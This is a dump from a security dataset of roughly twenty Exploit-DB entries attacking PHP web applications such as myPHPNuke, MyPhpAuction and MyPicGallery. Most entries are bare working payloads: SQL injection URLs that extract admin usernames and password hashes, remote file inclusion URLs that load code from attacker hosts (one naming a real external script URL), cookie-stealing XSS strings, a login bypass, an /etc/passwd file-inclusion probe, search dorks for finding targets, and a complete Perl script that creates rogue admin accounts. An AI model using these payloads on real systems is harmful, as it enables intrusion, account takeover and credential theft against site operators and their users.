deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15154
Description: MyPhpAuction 2010 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-29
Author: h4ck3r

Exploit:
==
# Title: MyPhpAuction 2010 (id) Remote SQL Injection Vuln
# Version: 2010
# Link: http://galaxyscriptz.com/products/MyPhpAuction-2010.html
==
# Author: BorN To K!LL - h4ck3r
# Contact: SQL@hotmail.co.uk
==
# 3xploit:
/product_desc.php?id=-5+union+all+select+1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--

then get username & password n then go to the admin panel ,,

# Admin Panel:
/admin


# Greetings:
Dr.2 , Inject0r's Community , AsbMay's Group , darkc0de team , and all ma friends ,,
==
Exploit-DB #3019
Description: myPHPCalendar 10192000b - 'cal_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Cr@zy_King

Exploit:
# script name : myPHPCalendar

# Script Downloads : http://freshmeat.net/projects/myphpcalendar/

# Web Site : http://myphpcalendar.sourceforge.net/

# Version : 10.1

# Risk : High

# Found By : Cr@zy_King

# Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali46 | The_Bekir |
Metallicali | Liz0zim | ERNE | Swat_Hack | Commander | Soceita

# Code :
include($cal_dir."vars.inc");
include($cal_dir."prefs.inc");


#Vuln : http://[target]/admin.php?cal_dir=http://[attacker]/
http://[target]/contacts.php?cal_dir=http://[attacker]/
http://[target]/convert-date.php?cal_dir=http://[attacker]/


#Contact: crazy_king[at]turkusev[dot]com

# ---------------------------Satbirlikleri.Org&SiberAktif.Net-----------------------------

# milw0rm.com [2006-12-26]
Exploit-DB #3201
Description: MyPHPcommander 2.0 - 'package.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-26
Author: Cold Zero

Exploit:
######################################################
#
#script : http://sourceforge.net/projects/myphpcommander
#
######################################################
#
#file :  package.php
#
######################################################
#
#vuln : require_once $gl_root.'system/lib/xml2.php';
#
######################################################
#
#Contact : Cold z3ro , C.o.1.d.0@hotmail.com
#
######################################################
#
#Exploit:
http://site.0/myphpcommander_path/system/lib/package.php?gl_root=http://www.4azhar.com/soft.txt?cmd
#
######################################################

======================================================

----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf
KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell| |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke|
|Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY| |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C|
|Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa| | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| |
020 | | abdulla00 " alz3eem" | | The_Viper | All i know

Big Thx For : www.4azhar.com , Viva My HomeLand Palestine .

# milw0rm.com [2007-01-26]
Exploit-DB #18300
Description: MyPHPDating 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-02
Author: ITTIHACK

Exploit:
MyPHPDating 1.0 SQL Injection Vulnerability  \
==============================================\__________________________
       Software : MyPHPDating version 1.0                                \
       Date     : 1/1/2012                                           	  \
       Vendor   : http://www.phponlinedatingsoftware.com/                  \
       Demo     : http://www.phponlinedatingsoftware.com/demo.htm           \
	   Get App. : http://www.phponlinedatingsoftware.com/order.htm           \
       Price    : $149.00	                                                  \
       Dork     : "Powered by MyPHPDating"	                                   \
       Author   : ITTIHACK                                                      \
       Home     : http://ittihack.com                                            \                
==================================================================================                
                                                                                  |_______________________________________|
Vulnerable file : page.php                                                                                                |
Exploit         : http://localhost/[path]/page.php?page_id=[SQL]                                                          |
                  http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())--    |
==========================================================================================================================|

 
 Greatz to: Reinie
Exploit-DB #27067
Description: MyPHPim - 'calendar.php3?cal_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-11
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16210/info

MyPhPim is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/myphpim/calendar.php3?menu=detail&cal_id=999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
Exploit-DB #27068
Description: MyPHPim - Login Page pass Field SQL Injection
Type: webapps
Platform: php
Date: 2006-01-11
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16210/info
 
MyPhPim is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

login: [first registered user]
pass: a") or "a"="a"/*
Exploit-DB #23164
Description: myPHPNuke 1.8.8 - 'auth.inc.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-09-20
Author: Lifo Fifo

Exploit:
source: https://www.securityfocus.com/bid/8663/info

It has been reported that myPHPNuke is prone to a SQL injection vulnerability that may allow a remote attacker to inject malicious SQL syntax into database queries. The issue may exist in the auth.in.php module of the software.

The cause of this problem is due to insufficient sanitization of user-supplied data. An attacker may be able to exploit this issue to influence SQL query logic. Successful exploitation may disclose sensitive information about the underlying database to an attacker, which may be used to launch further attacks against a vulnerable system.

myPHPNuke version 1.8.8 has been reported to be prone to this issue, however other versions may be affected as well. 

select pwd from mpn_authors where aid='mad' into outfile '/filepath/file.txt'
Exploit-DB #22133
Description: myPHPNuke 1.8.8 - 'Default_Theme' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-01-06
Author: Mindwarper

Exploit:
source: https://www.securityfocus.com/bid/6544/info

Reportedly, myPHPNuke does not adequately filter HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the website running myPHPNuke.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://victim/html/partner.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>
http://victim/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>
Exploit-DB #27309
Description: myPHPNuke 1.8.8 - 'download.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-22
Author: Mustafa Can Bjorn

Exploit:
source: https://www.securityfocus.com/bid/16815/info
 
MyPHPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/download.php?sortby=&dcategory=[XSS]&sortby=
Exploit-DB #22268
Description: myPHPNuke 1.8.8 - 'links.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-02-20
Author: Tacettin Karadeniz

Exploit:
source: https://www.securityfocus.com/bid/6892/info

Reportedly, myPHPNuke 'links.php' does not adequately filter HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. All code will be executed within the context of the website running myPHPNuke.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

This vulnerability was reported for myPHPNuke 1.8.8 earlier versions may also be affected.

http://www.example.com/myphpnuke/links.php?op=MostPopular&ratenum=[scr!pt]alert(document.cookie);[/scr!pt]&ratetype=percent

http://www.example.com/myphpnuke/links.php?op=search&query=[scr!pt]alert('tacettin@olympos.org');[/scr!pt]?query=
Exploit-DB #27308
Description: myPHPNuke 1.8.8 - 'reviews.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-22
Author: Mustafa Can Bjorn

Exploit:
source: https://www.securityfocus.com/bid/16815/info

MyPHPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/reviews.php?op=reviews&letter=[XSS]
Exploit-DB #6347
Description: myPHPNuke < 1.8.8_8rc2 - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-02
Author: MustLive

Exploit:
############################################################

SQL Injection vulnerability in myPHPNuke

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2398/

Description: There is SQL Injection vulnerability in printfeature.php in
myPHPNuke.

SQL Injection:

http://site/printfeature.php?artid=-1%20union%20select%20null,null,aid,pwd,null,null,null,null%20from%20mpn_authors%20limit%200,1

With this query you will receive login and password (hash) of administrator.

Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the
additional filters were added, so it is not vulnerable to this attack. But
version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL
Injection attack is possible (without using spaces and brackets).

############################################################

# milw0rm.com [2008-09-02]
Exploit-DB #6338
Description: myPHPNuke < 1.8.8_8rc2 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-08-31
Author: MustLive

Exploit:
############################################################

Cross-Site Scripting and SQL Injection vulnerabilities in myPHPNuke

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2391/

Description: There are Cross-Site Scripting and SQL Injection vulnerabilities in print.php in myPHPNuke.

XSS:

http://site/print.php?sid=%3CBODY%20onload=alert(document.cookie)%3E

SQL Injection:

http://site/print.php?sid=-1%20union%20select%20null,null,aid,pwd,null,null%20from%20mpn_authors%20limit%200,1

With this query you will receive login and password (hash) of administrator.

Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the additional filters were added, so it is not vulnerable to these XSS and SQL Injection attacks. But version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL Injection attack is possible (without using spaces and brackets).

############################################################ 

# milw0rm.com [2008-08-31]
Exploit-DB #3010
Description: myPHPNuke Module My_eGallery 2.5.6 - 'basepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-25
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

myPHPNuke Gallery Module (basepath) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: Cyber-Security.Org

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
c0DE:

include ("$basepath/imageFunctions.php");

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

3xplo!t:

/gallery/displayCategory.php?basepath=http://evil_scripts?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Reference: http://cyber-security.org/DataDetayAll.asp?Data_id=586

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

script download:

http://myphpnuke.com/download.php?op=getit&lid=28

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2006-12-25]
Exploit-DB #22208
Description: myphpPageTool 0.4.3-1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-03
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6744/info

myphpPageTool is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in several PHP script files in the /doc/admin folder.

Under some circumstances, it is possible for remote attackers to influence the include path for 'pt_config.inc' to point to an external file on a remote server by manipulating some URI parameters.

http://[target]/doc/admin/index.php?ptinclude=http://[attacker]/pt_config.inc
Exploit-DB #7526
Description: myPHPscripts Login Session 2.0 - Cross-Site Scripting / Database Disclosure
Type: webapps
Platform: php
Date: 2008-12-19
Author: Osirys

Exploit:
[START]

####################################################################################################################
[0x01] Informations:

Script         : myPHPscripts Login Session 2.0
Download       : http://www.hotscripts.com/jump.php?listing_id=69881&jump_type=1
Vulnerability  : XSS / Database Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [XSS]
######

Bugged file is: /[path]/login.php

[CODE]

if ($u_invalid == 1) { $errors[] = "User <strong>$user</strong> is invalid. 3-15 alphanumeric characters required."; }

[/CODE]

If the username that we typed in the register form is invalid, it will directly appear in the html code.
So we just have to put a js code, like an alert, and we will get a XSS.

[!] FIX: Filter or validate $user before printing it in html code.


[!] EXPLOIT: 
             1) Go at: /[path]/login.php?ls_register
             2) In User form put a js code. (ex: <script>alert("XSS")</script>)
             3) Field the other forms, and press register button.

####################################################################################################################
[0x03] Bug: [Database Disclosure]
######

Bugged file is: /[path]/login.php

[CODE]

	if (empty($errors)) {
		$newline = $records++;
		$e_email = base64_encode($email);
		$data = "$newline||$user||$e_email||$pass\n";
		$fh = fopen($users, 'a') or die("Can't open user database.");
		fwrite($fh, $data);
		fclose($fh);
?>

[/CODE]

This cms uses a flat database, a .txt file where it stores usernames,passwords and emails of the registered
users.

[!] FIX: Don't use this kind of authentication :)


[!] EXPLOIT: /[path]/users.txt

             Informations are printed in this way:
             0||admin||b3NpcnlzQGxpdmUuaXQ=||6e1459df459890dfd8b4c3687c18abba
             1||cazzone||bG9sQGxvbC5pdA==||b7dba5a1bc3605a87b59ac8147512c97

             user_number||username||email(base64 encrypted)||password(md5 encrypted)

####################################################################################################################

[/END]

# milw0rm.com [2008-12-19]
Exploit-DB #7519
Description: MyPHPsite - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-18
Author: Piker

Exploit:
################## Piker #######################################
#
#
#    MyPHPSite Local File Inclusion Vulnerability
#
#
#    Affected software: MyPHPSite
#    Vendor: www.myphpsite.org
#    Risk: Medium
#
################################################################
#
#    http://[target]/[path]/index.php?mod=[LFI]%00
#
#   PoC: http://[target]/[path]/index.php?mod=../../../../../../etc/passwd%00
#
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]
#            D.O.M Labs - Security Researchers
#           www.domlabs.org
#
#
################################################################

# milw0rm.com [2008-12-18]
Exploit-DB #22088
Description: MyPHPSoft MyPHPLinks 2.1.9/2.2 - SQL Injection Administration Bypassing
Type: webapps
Platform: php
Date: 2002-12-14
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6395/info

MyPHPLinks is a freely available, open source PHP application distributed by MyPHPSoft. It is available for Unix, Linux, and Microsoft Windows operating systems.

It has been reported that a problem with the checking of input by MyPHPLinks exists. A problem in the checking of the idsession variable used by MyPHPLinks to verify Administrator access may allow a remote user to gain access to the host. This problem could allow an attacker to gain administrator access to the MyPHPLinks section of a web site.

http://www.example.com/admin/index.php?idsession='%20OR%20''='
Exploit-DB #5650
Description: MyPicGallery 1.0 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-05-18
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+--[ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ]--+-\n";
print "-+--        Discovered && Coded By: t0pP8uZz        --+-\n";
print "-+-- Discovered On: 16 MAY 2008 / h4ck-y0u, milw0rm --+-\n";
print "-+--[ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ]--+-\n";

print "\nEnter URL(http://site.com): ";
	chomp(my $url=<STDIN>);
	
print "\nEnter Username(create's a admin username): ";
	chomp(my $usr=<STDIN>);
	
print "\nEnter Password(create's a admin password): ";
	chomp(my $pwd=<STDIN>);
	
my $ua = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob = $ua->post( $url."/admin/addUser.php?userID=admin", { "submit" => 1, # ugly?
															  "fullName"    => "null",
															  "userName"    => $usr,
															  "password"    => $pwd,
															  "conPassword" => $pwd,
															  "uType"       => "admin",
															  "email"       => "null\@null.com" } );

if($ob->is_success && index($ob->content, "added") != -1) {
	print "\nAdmin Account Added! Login at: ".$url."\n";
} else { print "\nExploit Failed! username already exists?"; }

# milw0rm.com [2008-05-18]
Exploit-DB #11319
Description: MYRE Classified - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-02
Author: kaMtiEz

Exploit:
###################################################################################
                                                                                  #
[~] MYRE Classified SQL injection vulnerability - (cat)                           # 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)                                    #
[~] Homepage	: http://www.indonesiancoder.com                                  #
[~] Date	: January 29, 2010                                                #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://myrephp.com/
[+] Vulnerability : SQL injection
[+] Dork : "syalalala"
[+] Price : $499           
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/links.php?cat=[INDONESIANCODER]

[ Exploit ]

-666/**/union/**/all/**/select/**/666,666,666,concat_ws(0x3a,member_name,member_password,email)kaMtiEz,@@version,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666/**/from/**/members--

===========================================================================


[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,ibl13Z
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk,r3m1ck

[ NOTE ] 

[+] Don Tukulesto : yuk iseng lagiiiiiiiiiiiiii ..
[+] Ibl13Z : kapan2 dolan bareng neh yo ?? hahaha
[+] r3m1ck : kost kok koyo warnet .. hahahaaa 
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..